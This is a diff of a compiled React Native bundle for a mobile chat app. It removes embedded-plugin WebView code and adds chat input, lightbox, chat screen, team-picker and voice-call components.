+        blurOnSubmit: false,
+        onSubmitEditing: () => {
+          if (import_react_native9.Platform.OS === "web") handleSend();
         }
       }
-    } catch(_) {}
-  });
-
-  document.addEventListener('message', function(e) {
-    try {
-      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
-      _handleHostMessage(d);
-      window.dispatchEvent(new MessageEvent('message', { data: d }));
-    } catch(_) {}
-  });
-
-  _dbg('Bridge JS loaded. Waiting for plugin...');
-  true;
-})();
-`;
-}
-
-// src/plugin/EmbeddedPluginWebView.tsx
-var import_jsx_runtime9 = require("react/jsx-runtime");
-function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
-  const [error, setError] = (0, import_react6.useState)(null);
-  const token = (0, import_core9.getToken)();
-  const tenant = (0, import_core9.getTenant)();
-  const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
-  const url = (0, import_plugin_runtime5.resolvePluginUrl)(manifest, tenant || void 0);
-  const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
-  const allowedHosts = (0, import_react6.useMemo)(() => {
-    const hosts = /* @__PURE__ */ new Set();
-    const urls = [(0, import_core9.getCoreApiUrl)()];
-    const voice = (0, import_core9.getConfig)().voiceUrl;
-    if (voice) urls.push(voice);
-    for (const u of urls) {
-      try {
-        hosts.add(new URL(u).hostname);
-      } catch {
+    ),
+    /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
+      import_react_native9.Pressable,
+      {
+        style: [styles8.sendBtn, canSend && styles8.sendBtnActive],
+        onPress: handleSend,
+        disabled: !canSend,
+        children: /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native_svg.default, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : import_core10.colors.light.textMuted, strokeWidth: 2, children: [
+          /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
+          /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
+        ] })
       }
-    }
-    return hosts;
-  }, []);
-  const isAllowedPluginUrl = (0, import_react6.useCallback)((rawUrl) => {
-    if (!rawUrl) return false;
-    let parsed;
-    try {
-      parsed = new URL(rawUrl);
-    } catch {
-      return false;
-    }
-    if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
-    if (parsed.protocol === "http:") return false;
-    return allowedHosts.has(parsed.hostname);
-  }, [allowedHosts]);
-  const originWhitelist = (0, import_react6.useMemo)(
-    () => Array.from(allowedHosts).map((h) => `https://${h}`),
-    [allowedHosts]
-  );
-  if (error) {
-    return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.View, { style: styles9.center, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.Text, { style: styles9.errorText, children: error }) });
-  }
-  return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.View, { style: styles9.container, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
-    import_react_native_webview.WebView,
-    {
-      ref: webViewRef,
-      source: { uri: url },
-      style: styles9.webview,
-      javaScriptEnabled: true,
-      domStorageEnabled: true,
-      allowsInlineMediaPlayback: true,
-      mediaPlaybackRequiresUserAction: false,
-      mixedContentMode: "never",
-      originWhitelist,
-      allowsBackForwardNavigationGestures: false,
-      setSupportMultipleWindows: false,
-      javaScriptCanOpenWindowsAutomatically: false,
-      onShouldStartLoadWithRequest: (req) => {
-        if (!isAllowedPluginUrl(req.url)) {
-          console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
-          return false;
-        }
-        return true;
-      },
-      injectedJavaScriptBeforeContentLoaded: bridgeJS,
-      onMessage: handleMessage,
-      onLoad: () => {
-        setTimeout(sendInit, 100);
-        setTimeout(sendInit, 500);
-        setTimeout(sendInit, 1200);
-      },
-      onError: (syntheticEvent) => {
-        const { nativeEvent } = syntheticEvent;
-        console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
-        setError(`WebView error: ${nativeEvent.description}`);
-      },
-      onHttpError: (syntheticEvent) => {
-        const { nativeEvent } = syntheticEvent;
-        console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
-        if (nativeEvent.statusCode >= 400) {
-          setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
-        }
-      },
-      startInLoadingState: true,
-      renderLoading: () => /* @__PURE__ */ (0, import_jsx_runtime9.jsxs)(import_react_native9.View, { style: styles9.webviewLoading, children: [
-        /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.ActivityIndicator, { size: "small", color: import_core9.ada.orange }),
-        /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.Text, { style: styles9.loadingText, children: "Loading plugin..." })
-      ] }),
-      ...import_react_native9.Platform.OS === "ios" ? { bounces: false } : {}
-    }
-  ) });
+    )
+  ] }) });
 }
-var styles9 = import_react_native9.StyleSheet.create({
-  container: {
-    flex: 1,
-    backgroundColor: import_core9.ada.paper
+var styles8 = import_react_native9.StyleSheet.create({
+  dock: {
+    paddingHorizontal: 12,
+    paddingVertical: 8,
+    backgroundColor: import_core10.colors.light.bgPrimary,
+    borderTopWidth: 0.5,
+    borderTopColor: import_core10.colors.light.border
   },
-  center: {
-    flex: 1,
-    justifyContent: "center",
-    alignItems: "center",
-    backgroundColor: import_core9.ada.paper,
-    paddingHorizontal: 32
+  inputRow: {
+    flexDirection: "row",
+    alignItems: "flex-end",
+    backgroundColor: import_core10.colors.light.bgInput,
+    borderRadius: import_core10.borderRadius.xl,
+    borderWidth: 1,
+    borderColor: import_core10.colors.light.border,
+    paddingHorizontal: 4,
+    paddingVertical: 4,
+    gap: 4
   },
-  errorText: {
-    color: "#C15545",
-    fontSize: 16,
-    textAlign: "center"
+  callBtn: {
+    width: 36,
+    height: 36,
+    borderRadius: 18,
+    justifyContent: "center",
+    alignItems: "center"
   },
-  webview: {
+  input: {
     flex: 1,
-    backgroundColor: import_core9.ada.paper
+    fontSize: 16,
+    color: import_core10.colors.light.textPrimary,
+    paddingHorizontal: 8,
+    paddingVertical: 8,
+    maxHeight: 120
   },
-  webviewLoading: {
-    position: "absolute",
-    top: 0,
-    left: 0,
-    right: 0,
-    bottom: 0,
+  sendBtn: {
+    width: 36,
+    height: 36,
+    borderRadius: 18,
     justifyContent: "center",
     alignItems: "center",
-    backgroundColor: import_core9.ada.paper,
-    gap: 12
+    backgroundColor: import_core10.colors.light.bgTertiary
   },
-  loadingText: {
-    color: import_core9.ada.inkSoft,
-    fontSize: 14
+  sendBtnActive: {
+    backgroundColor: import_core10.colors.light.accent
   }
 });
 
-// src/plugin/Plugin.tsx
-var import_jsx_runtime10 = require("react/jsx-runtime");
-var PluginErrorBoundary = class extends import_react7.default.Component {
-  constructor() {
-    super(...arguments);
-    this.state = { hasError: false, error: null };
-  }
-  static getDerivedStateFromError(error) {
-    return { hasError: true, error };
-  }
-  componentDidCatch(error, info) {
-    console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
+// src/Lightbox.tsx
+var import_react_native10 = require("react-native");
+var import_core11 = require("@ateam-ai-mobile/core");
+var import_jsx_runtime11 = require("react/jsx-runtime");
+function Lightbox() {
+  const uri = useLightboxStore((s) => s.uri);
+  const hide = useLightboxStore((s) => s.hide);
+  if (!uri) return null;
+  return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native10.Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_react_native10.Pressable, { style: styles9.backdrop, onPress: hide, children: [
+    /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
+      import_react_native10.Image,
+      {
+        source: {
+          uri,
+          ...uri.startsWith("http") ? {
+            headers: { Authorization: `Bearer ${(0, import_core11.getConfig)().tokenProvider.getToken()}` }
+          } : {}
+        },
+        style: styles9.image,
+        resizeMode: "contain"
+      }
+    ),
+    /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native10.View, { style: styles9.closeHint, children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native10.Text, { style: styles9.closeHintText, children: "Tap to close" }) })
+  ] }) });
+}
+var styles9 = import_react_native10.StyleSheet.create({
+  backdrop: {
+    flex: 1,
+    backgroundColor: "rgba(0,0,0,0.92)",
+    justifyContent: "center"
+  },
+  image: {
+    width: "100%",
+    height: "85%"
+  },
+  closeHint: {
+    position: "absolute",
+    bottom: 40,
+    alignSelf: "center"
+  },
+  closeHintText: {
+    color: "rgba(255,255,255,0.6)",
+    fontSize: 13
   }
-  render() {
-    if (this.state.hasError) {
-      return /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native10.View, { style: styles10.error, children: [
-        /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.errorTitle, children: "Plugin Error" }),
-        /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
-        /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
-          import_react_native10.Pressable,
+});
+
+// src/AdasChatScreen.tsx
+var import_jsx_runtime12 = require("react/jsx-runtime");
+function isSameDay2(a, b) {
+  return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
+}
+function AdasChatScreen({
+  onCallStart,
+  placeholder,
+  footerAccessory,
+  withLightbox = true
+}) {
+  const messages = (0, import_core12.useChatStore)((s) => s.messages);
+  const loading = (0, import_core12.useChatStore)((s) => s.loading);
+  const conversationLoaded = (0, import_core12.useChatStore)((s) => s.conversationLoaded);
+  const loadConversation = (0, import_core12.useChatStore)((s) => s.loadConversation);
+  const sendMessage = (0, import_core12.useChatStore)((s) => s.sendMessage);
+  const listRef = (0, import_react9.useRef)(null);
+  const [refreshing, setRefreshing] = (0, import_react9.useState)(false);
+  const [prefill, setPrefill] = (0, import_react9.useState)("");
+  (0, import_react9.useEffect)(() => {
+    if (!conversationLoaded) loadConversation();
+  }, [conversationLoaded, loadConversation]);
+  (0, import_react9.useEffect)(() => {
+    const unsub = import_core12.pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
+      if (text) setPrefill(text);
+    });
+    return unsub;
+  }, []);
+  const useInverted = import_react_native11.Platform.OS !== "web";
+  const listData = (0, import_react9.useMemo)(
+    () => useInverted ? [...messages].reverse() : messages,
+    [messages, useInverted]
+  );
+  const scrollToLatest = (0, import_react9.useCallback)((animated) => {
+    if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
+    else listRef.current?.scrollToEnd({ animated });
+  }, [useInverted]);
+  const handleSend = (0, import_react9.useCallback)((text) => {
+    setPrefill("");
+    sendMessage(text);
+    scrollToLatest(true);
+  }, [sendMessage, scrollToLatest]);
+  const handleRefresh = (0, import_react9.useCallback)(async () => {
+    setRefreshing(true);
+    try {
+      await loadConversation();
+    } catch {
+    }
+    setRefreshing(false);
+  }, [loadConversation]);
+  const renderItem = (0, import_react9.useCallback)(({ item, index }) => {
+    const older = useInverted ? listData[index + 1] : listData[index - 1];
+    const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
+    return /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native11.View, { children: [
+      showDaySep && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(DaySeparator, { date: item.timestamp }),
+      /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(MessageBubble, { message: item })
+    ] });
+  }, [listData, useInverted]);
+  const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(TypingIndicator, {}) : null;
+  return /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(
+    import_react_native11.KeyboardAvoidingView,
+    {
+      style: styles10.root,
+      behavior: import_react_native11.Platform.OS === "ios" ? "padding" : void 0,
+      children: [
+        /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
+          import_react_native11.FlatList,
           {
-            style: styles10.retryBtn,
-            onPress: () => this.setState({ hasError: false, error: null }),
-            children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.retryText, children: "Retry" })
+            ref: listRef,
+            style: styles10.list,
+            data: listData,
+            inverted: useInverted,
+            keyExtractor: (m) => m.id,
+            renderItem,
+            ListHeaderComponent: useInverted ? typingIndicator : null,
+            ListFooterComponent: useInverted ? null : typingIndicator,
+            onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
+            refreshControl: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native11.RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: import_core12.ada.orange }),
+            keyboardShouldPersistTaps: "handled",
+            contentContainerStyle: styles10.listContent
+          }
+        ),
+        footerAccessory,
+        /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
+          ChatInput,
+          {
+            onSend: handleSend,
+            onCallStart,
+            loading,
+            prefill,
+            placeholder
           }
-        )
-      ] });
+        ),
+        withLightbox && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(Lightbox, {}),
+        /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(WidgetHost, {})
+      ]
     }
-    return this.props.children;
-  }
-};
-function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
-  const { plugin, loading, error, bundleMissing } = (0, import_plugin_runtime6.usePlugin)(id, manifest);
-  const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
-  const bridge = (0, import_plugin_runtime6.useNativeBridge)(id, connectorId, commandBufferRef);
-  const native = (0, import_plugin_runtime6.getPluginNative)();
-  const theme = (0, import_plugin_runtime6.usePluginTheme)();
-  const user = (0, import_core10.getUser)();
-  const context = (0, import_react7.useMemo)(() => ({
-    tenant: (0, import_core10.getTenant)(),
-    pluginId: id,
-    connectorId,
-    user: user ? { id: user.actorId || "", name: user.name || "", roles: [] } : void 0
-  }), [id, connectorId, user?.actorId, user?.name]);
-  const iframeUrl = manifest?.render?.iframeUrl;
-  if (bundleMissing && iframeUrl) {
-    return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
-  }
-  if (loading) {
-    return /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native10.View, { style: styles10.center, children: [
-      /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.ActivityIndicator, { size: "small", color: import_core10.colors.dark.accent }),
-      /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.loadingText, children: "Loading plugin..." })
-    ] });
-  }
-  if (error || !plugin) {
-    return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.View, { style: styles10.center, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.errorMessage, children: error || "Plugin not found" }) });
-  }
-  const { Component } = plugin;
-  return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(Component, { bridge, native, theme, context, props: engineProps }) });
+  );
 }
-var styles10 = import_react_native10.StyleSheet.create({
-  center: {
-    flex: 1,
-    justifyContent: "center",
-    alignItems: "center",
-    backgroundColor: import_core10.colors.dark.bgPrimary,
-    paddingHorizontal: 32,
-    gap: 12
-  },
-  loadingText: {
-    color: import_core10.colors.dark.textSecondary,
-    fontSize: 14
-  },
-  error: {
+var styles10 = import_react_native11.StyleSheet.create({
+  root: {
     flex: 1,
-    justifyContent: "center",
-    alignItems: "center",
-    backgroundColor: import_core10.colors.dark.bgPrimary,
-    paddingHorizontal: 32,
-    gap: 8
-  },
-  errorTitle: {
-    color: import_core10.colors.dark.red,
-    fontSize: 16,
-    fontWeight: "600"
-  },
-  errorMessage: {
-    color: import_core10.colors.dark.textSecondary,
-    fontSize: 14,
-    textAlign: "center"
+    backgroundColor: import_core12.ada.paper
   },
-  retryBtn: {
-    marginTop: 12,
-    paddingHorizontal: 20,
-    paddingVertical: 10,
-    backgroundColor: import_core10.colors.dark.accentSoft,
-    borderRadius: 8
+  list: {
+    flex: 1
   },
-  retryText: {
-    color: import_core10.colors.dark.accent,
-    fontSize: 14,
-    fontWeight: "600"
+  listContent: {
+    paddingVertical: 12
   }
 });
 
-// src/plugin/PluginSurface.tsx
-var import_react8 = require("react");
-var import_react_native11 = require("react-native");
-var import_core11 = require("@ateam-ai-mobile/core");
-var import_plugin_runtime7 = require("@ateam-ai-mobile/plugin-runtime");
-var import_jsx_runtime11 = require("react/jsx-runtime");
-function PluginSurface({ pluginId, surface, dismiss, props }) {
-  const [manifest, setManifest] = (0, import_react8.useState)(null);
-  const [error, setError] = (0, import_react8.useState)(null);
-  (0, import_react8.useEffect)(() => {
-    let cancelled = false;
-    (0, import_plugin_runtime7.getPlugin)(pluginId).then((m) => {
-      if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
-    }).catch((e) => {
-      if (!cancelled) setError(e?.message || "Failed to load");
-    });
-    return () => {
-      cancelled = true;
-    };
-  }, [pluginId]);
-  const body = manifest ? /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native11.View, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native11.ActivityIndicator, { color: import_core11.ada.orange }) });
-  if (surface.type === "fullscreen") {
-    return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
-      import_plugin_runtime7.SurfaceFullscreen,
-      {
-        visible: true,
-        onClose: dismiss,
-        status: surface.title,
-        showWordmark: true,
-        closeIcon: "x",
-        closeLabel: "Close",
-        children: body
-      }
-    );
-  }
-  return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
-    import_plugin_runtime7.SurfaceDrawer,
-    {
-      visible: true,
-      onClose: dismiss,
-      title: surface.title || pluginId,
-      subtitle: surface.subtitle,
-      privacy: !!surface.privacy,
-      children: body
-    }
-  );
-}
-
 // src/widgets/WidgetWebView.tsx
-var import_react9 = require("react");
+var import_react10 = require("react");
 var import_react_native12 = require("react-native");
 var import_react_native_webview2 = require("react-native-webview");
-var import_core12 = require("@ateam-ai-mobile/core");
 var import_core13 = require("@ateam-ai-mobile/core");
-var import_jsx_runtime12 = require("react/jsx-runtime");
+var import_core14 = require("@ateam-ai-mobile/core");
+var import_jsx_runtime13 = require("react/jsx-runtime");
 var fontFam4 = import_react_native12.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
 function WidgetWebView({ visible, title, bundleUrl, onClose }) {
-  const [loading, setLoading] = (0, import_react9.useState)(true);
-  const [error, setError] = (0, import_react9.useState)(null);
-  const uri = (0, import_react9.useMemo)(() => {
+  const [loading, setLoading] = (0, import_react10.useState)(true);
+  const [error, setError] = (0, import_react10.useState)(null);
+  const uri = (0, import_react10.useMemo)(() => {
     if (!bundleUrl) return null;
     if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
-    return `${(0, import_core13.getCoreApiUrl)()}${bundleUrl}`;
+    return `${(0, import_core14.getCoreApiUrl)()}${bundleUrl}`;
   }, [bundleUrl]);
-  return /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
+  return /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
     import_react_native12.Modal,
     {
       visible,
       animationType: "slide",
       presentationStyle: "pageSheet",
       onRequestClose: onClose,
-      children: /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native12.View, { style: styles11.root, children: [
-        /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native12.View, { style: styles11.bar, children: [
-          /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Pressable, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.closeIcon, children: "\u2715" }) }),
-          /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
-          /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.View, { style: styles11.closeBtn })
+      children: /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_react_native12.View, { style: styles11.root, children: [
+        /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_react_native12.View, { style: styles11.bar, children: [
+          /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Pressable, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.closeIcon, children: "\u2715" }) }),
+          /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
+          /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.View, { style: styles11.closeBtn })
         ] }),
-        !uri ? /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.View, { style: styles11.errorWrap, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native12.View, { style: styles11.errorWrap, children: [
-          /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "Couldn't load widget" }),
-          /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.errorSub, children: error })
-        ] }) : /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_jsx_runtime12.Fragment, { children: [
-          /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
+        !uri ? /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.View, { style: styles11.errorWrap, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_react_native12.View, { style: styles11.errorWrap, children: [
+          /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "Couldn't load widget" }),
+          /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.errorSub, children: error })
+        ] }) : /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_jsx_runtime13.Fragment, { children: [
+          /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
             import_react_native_webview2.WebView,
             {
               source: { uri },
@@ -1777,7 +1842,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
               setSupportMultipleWindows: false
             }
           ),
-          loading && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.View, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.ActivityIndicator, { color: import_core12.ada.orange }) })
+          loading && /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.View, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.ActivityIndicator, { color: import_core13.ada.orange }) })
         ] })
       ] })
     }
@@ -1786,7 +1851,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
 var styles11 = import_react_native12.StyleSheet.create({
   root: {
     flex: 1,
-    backgroundColor: import_core12.ada.paper
+    backgroundColor: import_core13.ada.paper
   },
   bar: {
     flexDirection: "row",
@@ -1794,8 +1859,8 @@ var styles11 = import_react_native12.StyleSheet.create({
     paddingHorizontal: 14,
     paddingVertical: 12,
     borderBottomWidth: 1,
-    borderBottomColor: import_core12.ada.border,
-    backgroundColor: import_core12.ada.paperSoft
+    borderBottomColor: import_core13.ada.border,
+    backgroundColor: import_core13.ada.paperSoft
   },
   closeBtn: {
     width: 32,
@@ -1805,7 +1870,7 @@ var styles11 = import_react_native12.StyleSheet.create({
   },
   closeIcon: {
     fontSize: 18,
-    color: import_core12.ada.ink,
+    color: import_core13.ada.ink,
     fontWeight: "500"
   },
   title: {
@@ -1813,13 +1878,13 @@ var styles11 = import_react_native12.StyleSheet.create({
     textAlign: "center",
     fontSize: 16,
     fontWeight: "600",
-    color: import_core12.ada.ink,
+    color: import_core13.ada.ink,
     fontFamily: fontFam4,
     letterSpacing: -0.2
   },
   web: {
     flex: 1,
-    backgroundColor: import_core12.ada.paper
+    backgroundColor: import_core13.ada.paper
   },
   spinner: {
     position: "absolute",
@@ -1836,16 +1901,599 @@ var styles11 = import_react_native12.StyleSheet.create({
   },
   errorText: {
     fontSize: 15,
-    color: import_core12.ada.ink,
+    color: import_core13.ada.ink,
     fontWeight: "600",
     marginBottom: 6
   },
   errorSub: {
     fontSize: 13,
-    color: import_core12.ada.inkMuted,
+    color: import_core13.ada.inkMuted,
     textAlign: "center"
   }
 });
+
+// src/TenantPicker.tsx
+var import_react11 = require("react");
+var import_react_native13 = require("react-native");
+var import_core15 = require("@ateam-ai-mobile/core");
+var import_jsx_runtime14 = require("react/jsx-runtime");
+var fontFam5 = import_react_native13.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
+function TenantPicker({ onSelect, currentTenantId }) {
+  const [tenants, setTenants] = (0, import_react11.useState)(null);
+  const [error, setError] = (0, import_react11.useState)(null);
+  const active = currentTenantId ?? (0, import_core15.getTenant)();
+  (0, import_react11.useEffect)(() => {
+    let cancelled = false;
+    (0, import_core15.listMyTenants)().then((list) => {
+      if (!cancelled) setTenants(list);
+    }).catch((e) => {
+      if (!cancelled) setError(e?.message || "Failed to load teams");
+    });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+  if (error) return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.error, children: error });
+  if (!tenants) {
+    return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.View, { style: styles12.loading, children: /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.ActivityIndicator, { color: import_core15.ada.orange }) });
+  }
+  if (tenants.length === 0) return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.empty, children: "No teams found for this account." });
+  return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.View, { style: styles12.list, children: tenants.map((t) => {
+    const isActive = t.id === active;
+    return /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)(
+      import_react_native13.Pressable,
+      {
+        accessibilityRole: "button",
+        accessibilityLabel: `Team ${t.name}${isActive ? ", current" : ""}`,
+        onPress: () => onSelect(t),
+        style: [styles12.row, isActive && styles12.rowActive],
+        children: [
+          /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.View, { style: styles12.dot }),
+          /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)(import_react_native13.View, { style: styles12.rowText, children: [
+            /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.name, children: t.name }),
+            /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.slug, children: t.id })
+          ] }),
+          isActive && /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.check, children: "\u2713" })
+        ]
+      },
+      t.id
+    );
+  }) });
+}
+var styles12 = import_react_native13.StyleSheet.create({
+  list: {
+    gap: 10
+  },
+  row: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 12,
+    backgroundColor: import_core15.ada.paperSoft,
+    borderRadius: import_core15.borderRadius.lg,
+    borderWidth: 1,
+    borderColor: "transparent",
+    paddingHorizontal: 16,
+    paddingVertical: 14
+  },
+  rowActive: {
+    backgroundColor: import_core15.ada.orangeSoft,
+    borderColor: import_core15.ada.orange
+  },
+  dot: {
+    width: 10,
+    height: 10,
+    borderRadius: 5,
+    backgroundColor: import_core15.ada.orange
+  },
+  rowText: {
+    flex: 1
+  },
+  name: {
+    color: import_core15.ada.ink,
+    fontSize: import_core15.fontSize.lg,
+    fontWeight: "600",
+    fontFamily: fontFam5
+  },
+  slug: {
+    color: import_core15.ada.inkMuted,
+    fontSize: import_core15.fontSize.sm,
+    fontFamily: "monospace"
+  },
+  check: {
+    color: import_core15.ada.orangeDeep,
+    fontSize: import_core15.fontSize.lg,
+    fontWeight: "700"
+  },
+  loading: {
+    paddingVertical: 24,
+    alignItems: "center"
+  },
+  empty: {
+    color: import_core15.ada.inkMuted,
+    fontSize: import_core15.fontSize.md,
+    textAlign: "center",
+    paddingVertical: 16
+  },
+  error: {
+    color: "#C15545",
+    fontSize: import_core15.fontSize.md,
+    textAlign: "center",
+    paddingVertical: 16
+  }
+});
+
+// src/voice/VoiceCallSheet.tsx
+var import_react13 = require("react");
+var import_react_native14 = require("react-native");
+var import_react_native_svg2 = __toESM(require("react-native-svg"));
+var import_react_native_webview3 = require("react-native-webview");
+var import_core17 = require("@ateam-ai-mobile/core");
+var import_plugin_runtime9 = require("@ateam-ai-mobile/plugin-runtime");
+
+// src/voice/useVoiceCall.ts
+var import_react12 = require("react");
+var import_core16 = require("@ateam-ai-mobile/core");
+var INJECT_TRACK_HOOK = `
+(function() {
+  if (window._adaTrackHookInstalled) return;
+  window._adaTrackHookInstalled = true;
